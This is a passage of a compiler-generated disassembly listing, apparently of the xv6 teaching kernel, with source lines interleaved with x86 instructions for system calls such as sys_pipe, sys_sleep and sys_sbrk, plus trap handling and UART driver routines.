801056b9: 83 ec 20 sub $0x20,%esp
if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0)
801056bc: 6a 08 push $0x8
801056be: 50 push %eax
801056bf: 6a 00 push $0x0
801056c1: e8 ea f3 ff ff call 80104ab0 <argptr>
801056c6: 83 c4 10 add $0x10,%esp
801056c9: 85 c0 test %eax,%eax
801056cb: 0f 88 ae 00 00 00 js 8010577f <sys_pipe+0xcf>
return -1;
if(pipealloc(&rf, &wf) < 0)
801056d1: 8d 45 e4 lea -0x1c(%ebp),%eax
801056d4: 83 ec 08 sub $0x8,%esp
801056d7: 50 push %eax
801056d8: 8d 45 e0 lea -0x20(%ebp),%eax
801056db: 50 push %eax
801056dc: e8 6f de ff ff call 80103550 <pipealloc>
801056e1: 83 c4 10 add $0x10,%esp
801056e4: 85 c0 test %eax,%eax
801056e6: 0f 88 93 00 00 00 js 8010577f <sys_pipe+0xcf>
return -1;
fd0 = -1;
if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){
801056ec: 8b 7d e0 mov -0x20(%ebp),%edi
for(fd = 0; fd < NOFILE; fd++){
801056ef: 31 db xor %ebx,%ebx
struct proc *curproc = myproc();
801056f1: e8 fa e3 ff ff call 80103af0 <myproc>
801056f6: eb 10 jmp 80105708 <sys_pipe+0x58>
801056f8: 90 nop
801056f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(fd = 0; fd < NOFILE; fd++){
80105700: 83 c3 01 add $0x1,%ebx
80105703: 83 fb 10 cmp $0x10,%ebx
80105706: 74 60 je 80105768 <sys_pipe+0xb8>
if(curproc->ofile[fd] == 0){
80105708: 8b 74 98 28 mov 0x28(%eax,%ebx,4),%esi
8010570c: 85 f6 test %esi,%esi
8010570e: 75 f0 jne 80105700 <sys_pipe+0x50>
curproc->ofile[fd] = f;
80105710: 8d 73 08 lea 0x8(%ebx),%esi
80105713: 89 7c b0 08 mov %edi,0x8(%eax,%esi,4)
if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){
80105717: 8b 7d e4 mov -0x1c(%ebp),%edi
struct proc *curproc = myproc();
8010571a: e8 d1 e3 ff ff call 80103af0 <myproc>
for(fd = 0; fd < NOFILE; fd++){
8010571f: 31 d2 xor %edx,%edx
80105721: eb 0d jmp 80105730 <sys_pipe+0x80>
80105723: 90 nop
80105724: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80105728: 83 c2 01 add $0x1,%edx
8010572b: 83 fa 10 cmp $0x10,%edx
8010572e: 74 28 je 80105758 <sys_pipe+0xa8>
if(curproc->ofile[fd] == 0){
80105730: 8b 4c 90 28 mov 0x28(%eax,%edx,4),%ecx
80105734: 85 c9 test %ecx,%ecx
80105736: 75 f0 jne 80105728 <sys_pipe+0x78>
curproc->ofile[fd] = f;
80105738: 89 7c 90 28 mov %edi,0x28(%eax,%edx,4)
myproc()->ofile[fd0] = 0;
fileclose(rf);
fileclose(wf);
return -1;
}
fd[0] = fd0;
8010573c: 8b 45 dc mov -0x24(%ebp),%eax
8010573f: 89 18 mov %ebx,(%eax)
fd[1] = fd1;
80105741: 8b 45 dc mov -0x24(%ebp),%eax
80105744: 89 50 04 mov %edx,0x4(%eax)
return 0;
80105747: 31 c0 xor %eax,%eax
}
80105749: 8d 65 f4 lea -0xc(%ebp),%esp
8010574c: 5b pop %ebx
8010574d: 5e pop %esi
8010574e: 5f pop %edi
8010574f: 5d pop %ebp
80105750: c3 ret
80105751: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
myproc()->ofile[fd0] = 0;
80105758: e8 93 e3 ff ff call 80103af0 <myproc>
8010575d: c7 44 b0 08 00 00 00 movl $0x0,0x8(%eax,%esi,4)
80105764: 00
80105765: 8d 76 00 lea 0x0(%esi),%esi
fileclose(rf);
80105768: 83 ec 0c sub $0xc,%esp
8010576b: ff 75 e0 pushl -0x20(%ebp)
8010576e: e8 cd b9 ff ff call 80101140 <fileclose>
fileclose(wf);
80105773: 58 pop %eax
80105774: ff 75 e4 pushl -0x1c(%ebp)
80105777: e8 c4 b9 ff ff call 80101140 <fileclose>
return -1;
8010577c: 83 c4 10 add $0x10,%esp
8010577f: b8 ff ff ff ff mov $0xffffffff,%eax
80105784: eb c3 jmp 80105749 <sys_pipe+0x99>
80105786: 66 90 xchg %ax,%ax
80105788: 66 90 xchg %ax,%ax
8010578a: 66 90 xchg %ax,%ax
8010578c: 66 90 xchg %ax,%ax
8010578e: 66 90 xchg %ax,%ax
80105790 <sys_fork>:
#include "mmu.h"
#include "proc.h"
int
sys_fork(void)
{
80105790: 55 push %ebp
80105791: 89 e5 mov %esp,%ebp
return fork();
}
80105793: 5d pop %ebp
return fork();
80105794: e9 f7 e4 ff ff jmp 80103c90 <fork>
80105799: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801057a0 <sys_exit>:
int
sys_exit(void)
{
801057a0: 55 push %ebp
801057a1: 89 e5 mov %esp,%ebp
801057a3: 83 ec 08 sub $0x8,%esp
exit();
801057a6: e8 65 e7 ff ff call 80103f10 <exit>
return 0; // not reached
}
801057ab: 31 c0 xor %eax,%eax
801057ad: c9 leave
801057ae: c3 ret
801057af: 90 nop
801057b0 <sys_wait>:
int
sys_wait(void)
{
801057b0: 55 push %ebp
801057b1: 89 e5 mov %esp,%ebp
return wait();
}
801057b3: 5d pop %ebp
return wait();
801057b4: e9 97 e9 ff ff jmp 80104150 <wait>
801057b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801057c0 <sys_kill>:
int
sys_kill(void)
{
801057c0: 55 push %ebp
801057c1: 89 e5 mov %esp,%ebp
801057c3: 83 ec 20 sub $0x20,%esp
int pid;
if(argint(0, &pid) < 0)
801057c6: 8d 45 f4 lea -0xc(%ebp),%eax
801057c9: 50 push %eax
801057ca: 6a 00 push $0x0
801057cc: e8 8f f2 ff ff call 80104a60 <argint>
801057d1: 83 c4 10 add $0x10,%esp
801057d4: 85 c0 test %eax,%eax
801057d6: 78 18 js 801057f0 <sys_kill+0x30>
return -1;
return kill(pid);
801057d8: 83 ec 0c sub $0xc,%esp
801057db: ff 75 f4 pushl -0xc(%ebp)
801057de: e8 bd ea ff ff call 801042a0 <kill>
801057e3: 83 c4 10 add $0x10,%esp
}
801057e6: c9 leave
801057e7: c3 ret
801057e8: 90 nop
801057e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
801057f0: b8 ff ff ff ff mov $0xffffffff,%eax
}
801057f5: c9 leave
801057f6: c3 ret
801057f7: 89 f6 mov %esi,%esi
801057f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105800 <sys_getpid>:
int
sys_getpid(void)
{
80105800: 55 push %ebp
80105801: 89 e5 mov %esp,%ebp
80105803: 83 ec 08 sub $0x8,%esp
return myproc()->pid;
80105806: e8 e5 e2 ff ff call 80103af0 <myproc>
8010580b: 8b 40 10 mov 0x10(%eax),%eax
}
8010580e: c9 leave
8010580f: c3 ret
80105810 <sys_sbrk>:
int
sys_sbrk(void)
{
80105810: 55 push %ebp
80105811: 89 e5 mov %esp,%ebp
80105813: 53 push %ebx
int addr;
int n;
if(argint(0, &n) < 0)
80105814: 8d 45 f4 lea -0xc(%ebp),%eax
{
80105817: 83 ec 1c sub $0x1c,%esp
if(argint(0, &n) < 0)
8010581a: 50 push %eax
8010581b: 6a 00 push $0x0
8010581d: e8 3e f2 ff ff call 80104a60 <argint>
80105822: 83 c4 10 add $0x10,%esp
80105825: 85 c0 test %eax,%eax
80105827: 78 27 js 80105850 <sys_sbrk+0x40>
return -1;
addr = myproc()->sz;
80105829: e8 c2 e2 ff ff call 80103af0 <myproc>
if(growproc(n) < 0)
8010582e: 83 ec 0c sub $0xc,%esp
addr = myproc()->sz;
80105831: 8b 18 mov (%eax),%ebx
if(growproc(n) < 0)
80105833: ff 75 f4 pushl -0xc(%ebp)
80105836: e8 d5 e3 ff ff call 80103c10 <growproc>
8010583b: 83 c4 10 add $0x10,%esp
8010583e: 85 c0 test %eax,%eax
80105840: 78 0e js 80105850 <sys_sbrk+0x40>
return -1;
return addr;
}
80105842: 89 d8 mov %ebx,%eax
80105844: 8b 5d fc mov -0x4(%ebp),%ebx
80105847: c9 leave
80105848: c3 ret
80105849: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
80105850: bb ff ff ff ff mov $0xffffffff,%ebx
80105855: eb eb jmp 80105842 <sys_sbrk+0x32>
80105857: 89 f6 mov %esi,%esi
80105859: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105860 <sys_sleep>:
int
sys_sleep(void)
{
80105860: 55 push %ebp
80105861: 89 e5 mov %esp,%ebp
80105863: 53 push %ebx
int n;
uint ticks0;
if(argint(0, &n) < 0)
80105864: 8d 45 f4 lea -0xc(%ebp),%eax
{
80105867: 83 ec 1c sub $0x1c,%esp
if(argint(0, &n) < 0)
8010586a: 50 push %eax
8010586b: 6a 00 push $0x0
8010586d: e8 ee f1 ff ff call 80104a60 <argint>
80105872: 83 c4 10 add $0x10,%esp
80105875: 85 c0 test %eax,%eax
80105877: 0f 88 8a 00 00 00 js 80105907 <sys_sleep+0xa7>
return -1;
acquire(&tickslock);
8010587d: 83 ec 0c sub $0xc,%esp
80105880: 68 20 4f 11 80 push $0x80114f20
80105885: e8 c6 ed ff ff call 80104650 <acquire>
ticks0 = ticks;
while(ticks - ticks0 < n){
8010588a: 8b 55 f4 mov -0xc(%ebp),%edx
8010588d: 83 c4 10 add $0x10,%esp
ticks0 = ticks;
80105890: 8b 1d 60 57 11 80 mov 0x80115760,%ebx
while(ticks - ticks0 < n){
80105896: 85 d2 test %edx,%edx
80105898: 75 27 jne 801058c1 <sys_sleep+0x61>
8010589a: eb 54 jmp 801058f0 <sys_sleep+0x90>
8010589c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(myproc()->killed){
release(&tickslock);
return -1;
}
sleep(&ticks, &tickslock);
801058a0: 83 ec 08 sub $0x8,%esp
801058a3: 68 20 4f 11 80 push $0x80114f20
801058a8: 68 60 57 11 80 push $0x80115760
801058ad: e8 de e7 ff ff call 80104090 <sleep>
while(ticks - ticks0 < n){
801058b2: a1 60 57 11 80 mov 0x80115760,%eax
801058b7: 83 c4 10 add $0x10,%esp
801058ba: 29 d8 sub %ebx,%eax
801058bc: 3b 45 f4 cmp -0xc(%ebp),%eax
801058bf: 73 2f jae 801058f0 <sys_sleep+0x90>
if(myproc()->killed){
801058c1: e8 2a e2 ff ff call 80103af0 <myproc>
801058c6: 8b 40 24 mov 0x24(%eax),%eax
801058c9: 85 c0 test %eax,%eax
801058cb: 74 d3 je 801058a0 <sys_sleep+0x40>
release(&tickslock);
801058cd: 83 ec 0c sub $0xc,%esp
801058d0: 68 20 4f 11 80 push $0x80114f20
801058d5: e8 36 ee ff ff call 80104710 <release>
return -1;
801058da: 83 c4 10 add $0x10,%esp
801058dd: b8 ff ff ff ff mov $0xffffffff,%eax
}
release(&tickslock);
return 0;
}
801058e2: 8b 5d fc mov -0x4(%ebp),%ebx
801058e5: c9 leave
801058e6: c3 ret
801058e7: 89 f6 mov %esi,%esi
801058e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
release(&tickslock);
801058f0: 83 ec 0c sub $0xc,%esp
801058f3: 68 20 4f 11 80 push $0x80114f20
801058f8: e8 13 ee ff ff call 80104710 <release>
return 0;
801058fd: 83 c4 10 add $0x10,%esp
80105900: 31 c0 xor %eax,%eax
}
80105902: 8b 5d fc mov -0x4(%ebp),%ebx
80105905: c9 leave
80105906: c3 ret
return -1;
80105907: b8 ff ff ff ff mov $0xffffffff,%eax
8010590c: eb f4 jmp 80105902 <sys_sleep+0xa2>
8010590e: 66 90 xchg %ax,%ax
80105910 <sys_uptime>:
// return how many clock tick interrupts have occurred
// since start.
int
sys_uptime(void)
{
80105910: 55 push %ebp
80105911: 89 e5 mov %esp,%ebp
80105913: 53 push %ebx
80105914: 83 ec 10 sub $0x10,%esp
uint xticks;
acquire(&tickslock);
80105917: 68 20 4f 11 80 push $0x80114f20
8010591c: e8 2f ed ff ff call 80104650 <acquire>
xticks = ticks;
80105921: 8b 1d 60 57 11 80 mov 0x80115760,%ebx
release(&tickslock);
80105927: c7 04 24 20 4f 11 80 movl $0x80114f20,(%esp)
8010592e: e8 dd ed ff ff call 80104710 <release>
return xticks;
}
80105933: 89 d8 mov %ebx,%eax
80105935: 8b 5d fc mov -0x4(%ebp),%ebx
80105938: c9 leave
80105939: c3 ret
8010593a <alltraps>:
8010593a: 1e push %ds
8010593b: 06 push %es
8010593c: 0f a0 push %fs
8010593e: 0f a8 push %gs
80105940: 60 pusha
80105941: 66 b8 10 00 mov $0x10,%ax
80105945: 8e d8 mov %eax,%ds
80105947: 8e c0 mov %eax,%es
80105949: 54 push %esp
8010594a: e8 c1 00 00 00 call 80105a10 <trap>
8010594f: 83 c4 04 add $0x4,%esp
80105952 <trapret>:
80105952: 61 popa
80105953: 0f a9 pop %gs
80105955: 0f a1 pop %fs
80105957: 07 pop %es
80105958: 1f pop %ds
80105959: 83 c4 08 add $0x8,%esp
8010595c: cf iret
8010595d: 66 90 xchg %ax,%ax
8010595f: 90 nop
80105960 <tvinit>:
80105960: 55 push %ebp
80105961: 31 c0 xor %eax,%eax
80105963: 89 e5 mov %esp,%ebp
80105965: 83 ec 08 sub $0x8,%esp
80105968: 90 nop
80105969: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80105970: 8b 14 85 08 a0 10 80 mov -0x7fef5ff8(,%eax,4),%edx
80105977: c7 04 c5 62 4f 11 80 movl $0x8e000008,-0x7feeb09e(,%eax,8)
8010597e: 08 00 00 8e
80105982: 66 89 14 c5 60 4f 11 mov %dx,-0x7feeb0a0(,%eax,8)
80105989: 80
8010598a: c1 ea 10 shr $0x10,%edx
8010598d: 66 89 14 c5 66 4f 11 mov %dx,-0x7feeb09a(,%eax,8)
80105994: 80
80105995: 83 c0 01 add $0x1,%eax
80105998: 3d 00 01 00 00 cmp $0x100,%eax
8010599d: 75 d1 jne 80105970 <tvinit+0x10>
8010599f: a1 08 a1 10 80 mov 0x8010a108,%eax
801059a4: 83 ec 08 sub $0x8,%esp
801059a7: c7 05 62 51 11 80 08 movl $0xef000008,0x80115162
801059ae: 00 00 ef
801059b1: 68 59 79 10 80 push $0x80107959
801059b6: 68 20 4f 11 80 push $0x80114f20
801059bb: 66 a3 60 51 11 80 mov %ax,0x80115160
801059c1: c1 e8 10 shr $0x10,%eax
801059c4: 66 a3 66 51 11 80 mov %ax,0x80115166
801059ca: e8 41 eb ff ff call 80104510 <initlock>
801059cf: 83 c4 10 add $0x10,%esp
801059d2: c9 leave
801059d3: c3 ret
801059d4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801059da: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
801059e0 <idtinit>:
801059e0: 55 push %ebp
801059e1: b8 ff 07 00 00 mov $0x7ff,%eax
801059e6: 89 e5 mov %esp,%ebp
801059e8: 83 ec 10 sub $0x10,%esp
801059eb: 66 89 45 fa mov %ax,-0x6(%ebp)
801059ef: b8 60 4f 11 80 mov $0x80114f60,%eax
801059f4: 66 89 45 fc mov %ax,-0x4(%ebp)
801059f8: c1 e8 10 shr $0x10,%eax
801059fb: 66 89 45 fe mov %ax,-0x2(%ebp)
801059ff: 8d 45 fa lea -0x6(%ebp),%eax
80105a02: 0f 01 18 lidtl (%eax)
80105a05: c9 leave
80105a06: c3 ret
80105a07: 89 f6 mov %esi,%esi
80105a09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105a10 <trap>:
80105a10: 55 push %ebp
80105a11: 89 e5 mov %esp,%ebp
80105a13: 57 push %edi
80105a14: 56 push %esi
80105a15: 53 push %ebx
80105a16: 83 ec 1c sub $0x1c,%esp
80105a19: 8b 7d 08 mov 0x8(%ebp),%edi
80105a1c: 8b 47 30 mov 0x30(%edi),%eax
80105a1f: 83 f8 40 cmp $0x40,%eax
80105a22: 0f 84 f0 00 00 00 je 80105b18 <trap+0x108>
80105a28: 83 e8 20 sub $0x20,%eax
80105a2b: 83 f8 1f cmp $0x1f,%eax
80105a2e: 77 10 ja 80105a40 <trap+0x30>
80105a30: ff 24 85 00 7a 10 80 jmp *-0x7fef8600(,%eax,4)
80105a37: 89 f6 mov %esi,%esi
80105a39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105a40: e8 ab e0 ff ff call 80103af0 <myproc>
80105a45: 85 c0 test %eax,%eax
80105a47: 8b 5f 38 mov 0x38(%edi),%ebx
80105a4a: 0f 84 14 02 00 00 je 80105c64 <trap+0x254>
80105a50: f6 47 3c 03 testb $0x3,0x3c(%edi)
80105a54: 0f 84 0a 02 00 00 je 80105c64 <trap+0x254>
80105a5a: 0f 20 d1 mov %cr2,%ecx
80105a5d: 89 4d d8 mov %ecx,-0x28(%ebp)
80105a60: e8 6b e0 ff ff call 80103ad0 <cpuid>
80105a65: 89 45 dc mov %eax,-0x24(%ebp)
80105a68: 8b 47 34 mov 0x34(%edi),%eax
80105a6b: 8b 77 30 mov 0x30(%edi),%esi
80105a6e: 89 45 e4 mov %eax,-0x1c(%ebp)
80105a71: e8 7a e0 ff ff call 80103af0 <myproc>
80105a76: 89 45 e0 mov %eax,-0x20(%ebp)
80105a79: e8 72 e0 ff ff call 80103af0 <myproc>
80105a7e: 8b 4d d8 mov -0x28(%ebp),%ecx
80105a81: 8b 55 dc mov -0x24(%ebp),%edx
80105a84: 51 push %ecx
80105a85: 53 push %ebx
80105a86: 52 push %edx
80105a87: 8b 55 e0 mov -0x20(%ebp),%edx
80105a8a: ff 75 e4 pushl -0x1c(%ebp)
80105a8d: 56 push %esi
80105a8e: 83 c2 6c add $0x6c,%edx
80105a91: 52 push %edx
80105a92: ff 70 10 pushl 0x10(%eax)
80105a95: 68 bc 79 10 80 push $0x801079bc
80105a9a: e8 c1 ab ff ff call 80100660 <cprintf>
80105a9f: 83 c4 20 add $0x20,%esp
80105aa2: e8 49 e0 ff ff call 80103af0 <myproc>
80105aa7: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax)
80105aae: e8 3d e0 ff ff call 80103af0 <myproc>
80105ab3: 85 c0 test %eax,%eax
80105ab5: 74 1d je 80105ad4 <trap+0xc4>
80105ab7: e8 34 e0 ff ff call 80103af0 <myproc>
80105abc: 8b 50 24 mov 0x24(%eax),%edx
80105abf: 85 d2 test %edx,%edx
80105ac1: 74 11 je 80105ad4 <trap+0xc4>
80105ac3: 0f b7 47 3c movzwl 0x3c(%edi),%eax
80105ac7: 83 e0 03 and $0x3,%eax
80105aca: 66 83 f8 03 cmp $0x3,%ax
80105ace: 0f 84 4c 01 00 00 je 80105c20 <trap+0x210>
80105ad4: e8 17 e0 ff ff call 80103af0 <myproc>
80105ad9: 85 c0 test %eax,%eax
80105adb: 74 0b je 80105ae8 <trap+0xd8>
80105add: e8 0e e0 ff ff call 80103af0 <myproc>
80105ae2: 83 78 0c 04 cmpl $0x4,0xc(%eax)
80105ae6: 74 68 je 80105b50 <trap+0x140>
80105ae8: e8 03 e0 ff ff call 80103af0 <myproc>
80105aed: 85 c0 test %eax,%eax
80105aef: 74 19 je 80105b0a <trap+0xfa>
80105af1: e8 fa df ff ff call 80103af0 <myproc>
80105af6: 8b 40 24 mov 0x24(%eax),%eax
80105af9: 85 c0 test %eax,%eax
80105afb: 74 0d je 80105b0a <trap+0xfa>
80105afd: 0f b7 47 3c movzwl 0x3c(%edi),%eax
80105b01: 83 e0 03 and $0x3,%eax
80105b04: 66 83 f8 03 cmp $0x3,%ax
80105b08: 74 37 je 80105b41 <trap+0x131>
80105b0a: 8d 65 f4 lea -0xc(%ebp),%esp
80105b0d: 5b pop %ebx
80105b0e: 5e pop %esi
80105b0f: 5f pop %edi
80105b10: 5d pop %ebp
80105b11: c3 ret
80105b12: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80105b18: e8 d3 df ff ff call 80103af0 <myproc>
80105b1d: 8b 58 24 mov 0x24(%eax),%ebx
80105b20: 85 db test %ebx,%ebx
80105b22: 0f 85 e8 00 00 00 jne 80105c10 <trap+0x200>
80105b28: e8 c3 df ff ff call 80103af0 <myproc>
80105b2d: 89 78 18 mov %edi,0x18(%eax)
80105b30: e8 1b f0 ff ff call 80104b50 <syscall>
80105b35: e8 b6 df ff ff call 80103af0 <myproc>
80105b3a: 8b 48 24 mov 0x24(%eax),%ecx
80105b3d: 85 c9 test %ecx,%ecx
80105b3f: 74 c9 je 80105b0a <trap+0xfa>
80105b41: 8d 65 f4 lea -0xc(%ebp),%esp
80105b44: 5b pop %ebx
80105b45: 5e pop %esi
80105b46: 5f pop %edi
80105b47: 5d pop %ebp
80105b48: e9 c3 e3 ff ff jmp 80103f10 <exit>
80105b4d: 8d 76 00 lea 0x0(%esi),%esi
80105b50: 83 7f 30 20 cmpl $0x20,0x30(%edi)
80105b54: 75 92 jne 80105ae8 <trap+0xd8>
80105b56: e8 e5 e4 ff ff call 80104040 <yield>
80105b5b: eb 8b jmp 80105ae8 <trap+0xd8>
80105b5d: 8d 76 00 lea 0x0(%esi),%esi
80105b60: e8 6b df ff ff call 80103ad0 <cpuid>
80105b65: 85 c0 test %eax,%eax
80105b67: 0f 84 c3 00 00 00 je 80105c30 <trap+0x220>
80105b6d: e8 ee ce ff ff call 80102a60 <lapiceoi>
80105b72: e8 79 df ff ff call 80103af0 <myproc>
80105b77: 85 c0 test %eax,%eax
80105b79: 0f 85 38 ff ff ff jne 80105ab7 <trap+0xa7>
80105b7f: e9 50 ff ff ff jmp 80105ad4 <trap+0xc4>
80105b84: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80105b88: e8 93 cd ff ff call 80102920 <kbdintr>
80105b8d: e8 ce ce ff ff call 80102a60 <lapiceoi>
80105b92: e8 59 df ff ff call 80103af0 <myproc>
80105b97: 85 c0 test %eax,%eax
80105b99: 0f 85 18 ff ff ff jne 80105ab7 <trap+0xa7>
80105b9f: e9 30 ff ff ff jmp 80105ad4 <trap+0xc4>
80105ba4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80105ba8: e8 53 02 00 00 call 80105e00 <uartintr>
80105bad: e8 ae ce ff ff call 80102a60 <lapiceoi>
80105bb2: e8 39 df ff ff call 80103af0 <myproc>
80105bb7: 85 c0 test %eax,%eax
80105bb9: 0f 85 f8 fe ff ff jne 80105ab7 <trap+0xa7>
80105bbf: e9 10 ff ff ff jmp 80105ad4 <trap+0xc4>
80105bc4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80105bc8: 0f b7 5f 3c movzwl 0x3c(%edi),%ebx
80105bcc: 8b 77 38 mov 0x38(%edi),%esi
80105bcf: e8 fc de ff ff call 80103ad0 <cpuid>
80105bd4: 56 push %esi
80105bd5: 53 push %ebx
80105bd6: 50 push %eax
80105bd7: 68 64 79 10 80 push $0x80107964
80105bdc: e8 7f aa ff ff call 80100660 <cprintf>
80105be1: e8 7a ce ff ff call 80102a60 <lapiceoi>
80105be6: 83 c4 10 add $0x10,%esp
80105be9: e8 02 df ff ff call 80103af0 <myproc>
80105bee: 85 c0 test %eax,%eax
80105bf0: 0f 85 c1 fe ff ff jne 80105ab7 <trap+0xa7>
80105bf6: e9 d9 fe ff ff jmp 80105ad4 <trap+0xc4>
80105bfb: 90 nop
80105bfc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80105c00: e8 8b c7 ff ff call 80102390 <ideintr>
80105c05: e9 63 ff ff ff jmp 80105b6d <trap+0x15d>
80105c0a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80105c10: e8 fb e2 ff ff call 80103f10 <exit>
80105c15: e9 0e ff ff ff jmp 80105b28 <trap+0x118>
80105c1a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80105c20: e8 eb e2 ff ff call 80103f10 <exit>
80105c25: e9 aa fe ff ff jmp 80105ad4 <trap+0xc4>
80105c2a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80105c30: 83 ec 0c sub $0xc,%esp
80105c33: 68 20 4f 11 80 push $0x80114f20
80105c38: e8 13 ea ff ff call 80104650 <acquire>
80105c3d: c7 04 24 60 57 11 80 movl $0x80115760,(%esp)
80105c44: 83 05 60 57 11 80 01 addl $0x1,0x80115760
80105c4b: e8 f0 e5 ff ff call 80104240 <wakeup>
80105c50: c7 04 24 20 4f 11 80 movl $0x80114f20,(%esp)
80105c57: e8 b4 ea ff ff call 80104710 <release>
80105c5c: 83 c4 10 add $0x10,%esp
80105c5f: e9 09 ff ff ff jmp 80105b6d <trap+0x15d>
80105c64: 0f 20 d6 mov %cr2,%esi
80105c67: e8 64 de ff ff call 80103ad0 <cpuid>
80105c6c: 83 ec 0c sub $0xc,%esp
80105c6f: 56 push %esi
80105c70: 53 push %ebx
80105c71: 50 push %eax
80105c72: ff 77 30 pushl 0x30(%edi)
80105c75: 68 88 79 10 80 push $0x80107988
80105c7a: e8 e1 a9 ff ff call 80100660 <cprintf>
80105c7f: 83 c4 14 add $0x14,%esp
80105c82: 68 5e 79 10 80 push $0x8010795e
80105c87: e8 04 a7 ff ff call 80100390 <panic>
80105c8c: 66 90 xchg %ax,%ax
80105c8e: 66 90 xchg %ax,%ax
80105c90 <uartgetc>:
80105c90: a1 fc a5 10 80 mov 0x8010a5fc,%eax
80105c95: 55 push %ebp
80105c96: 89 e5 mov %esp,%ebp
80105c98: 85 c0 test %eax,%eax
80105c9a: 74 1c je 80105cb8 <uartgetc+0x28>
80105c9c: ba fd 03 00 00 mov $0x3fd,%edx
80105ca1: ec in (%dx),%al
80105ca2: a8 01 test $0x1,%al
80105ca4: 74 12 je 80105cb8 <uartgetc+0x28>
80105ca6: ba f8 03 00 00 mov $0x3f8,%edx
80105cab: ec in (%dx),%al
80105cac: 0f b6 c0 movzbl %al,%eax
80105caf: 5d pop %ebp
80105cb0: c3 ret
80105cb1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80105cb8: b8 ff ff ff ff mov $0xffffffff,%eax
80105cbd: 5d pop %ebp
80105cbe: c3 ret
80105cbf: 90 nop
80105cc0 <uartputc.part.0>:
80105cc0: 55 push %ebp
80105cc1: 89 e5 mov %esp,%ebp
80105cc3: 57 push %edi
80105cc4: 56 push %esi
80105cc5: 53 push %ebx
80105cc6: 89 c7 mov %eax,%edi
80105cc8: bb 80 00 00 00 mov $0x80,%ebx
80105ccd: be fd 03 00 00 mov $0x3fd,%esi
80105cd2: 83 ec 0c sub $0xc,%esp
80105cd5: eb 1b jmp 80105cf2 <uartputc.part.0+0x32>
80105cd7: 89 f6 mov %esi,%esi
80105cd9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105ce0: 83 ec 0c sub $0xc,%esp
80105ce3: 6a 0a push $0xa
80105ce5: e8 96 cd ff ff call 80102a80 <microdelay>
80105cea: 83 c4 10 add $0x10,%esp
80105ced: 83 eb 01 sub $0x1,%ebx
80105cf0: 74 07 je 80105cf9 <uartputc.part.0+0x39>
80105cf2: 89 f2 mov %esi,%edx
80105cf4: ec in (%dx),%al
80105cf5: a8 20 test $0x20,%al
80105cf7: 74 e7 je 80105ce0 <uartputc.part.0+0x20>
80105cf9: ba f8 03 00 00 mov $0x3f8,%edx
80105cfe: 89 f8 mov %edi,%eax
80105d00: ee out %al,(%dx)
80105d01: 8d 65 f4 lea -0xc(%ebp),%esp
80105d04: 5b pop %ebx
80105d05: 5e pop %esi
80105d06: 5f pop %edi
80105d07: 5d pop %ebp
80105d08: c3 ret
80105d09: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80105d10 <uartinit>:
80105d10: 55 push %ebp
80105d11: 31 c9 xor %ecx,%ecx
80105d13: 89 c8 mov %ecx,%eax
80105d15: 89 e5 mov %esp,%ebp
80105d17: 57 push %edi
80105d18: 56 push %esi
80105d19: 53 push %ebx
80105d1a: bb fa 03 00 00 mov $0x3fa,%ebx
80105d1f: 89 da mov %ebx,%edx
80105d21: 83 ec 0c sub $0xc,%esp
80105d24: ee out %al,(%dx)
80105d25: bf fb 03 00 00 mov $0x3fb,%edi
80105d2a: b8 80 ff ff ff mov $0xffffff80,%eax
80105d2f: 89 fa mov %edi,%edx
80105d31: ee out %al,(%dx)
80105d32: b8 0c 00 00 00 mov $0xc,%eax
80105d37: ba f8 03 00 00 mov $0x3f8,%edx
80105d3c: ee out %al,(%dx)
80105d3d: be f9 03 00 00 mov $0x3f9,%esi
80105d42: 89 c8 mov %ecx,%eax
80105d44: 89 f2 mov %esi,%edx
80105d46: ee out %al,(%dx)
80105d47: b8 03 00 00 00 mov $0x3,%eax
80105d4c: 89 fa mov %edi,%edx
80105d4e: ee out %al,(%dx)
80105d4f: ba fc 03 00 00 mov $0x3fc,%edx
80105d54: 89 c8 mov %ecx,%eax
80105d56: ee out %al,(%dx)
80105d57: b8 01 00 00 00 mov $0x1,%eax
80105d5c: 89 f2 mov %esi,%edx
80105d5e: ee out %al,(%dx)
80105d5f: ba fd 03 00 00 mov $0x3fd,%edx
80105d64: ec in (%dx),%al
80105d65: 3c ff cmp $0xff,%al
80105d67: 74 5a je 80105dc3 <uartinit+0xb3>
80105d69: c7 05 fc a5 10 80 01 movl $0x1,0x8010a5fc
80105d70: 00 00 00
80105d73: 89 da mov %ebx,%edx
80105d75: ec in (%dx),%al
80105d76: ba f8 03 00 00 mov $0x3f8,%edx
80105d7b: ec in (%dx),%al
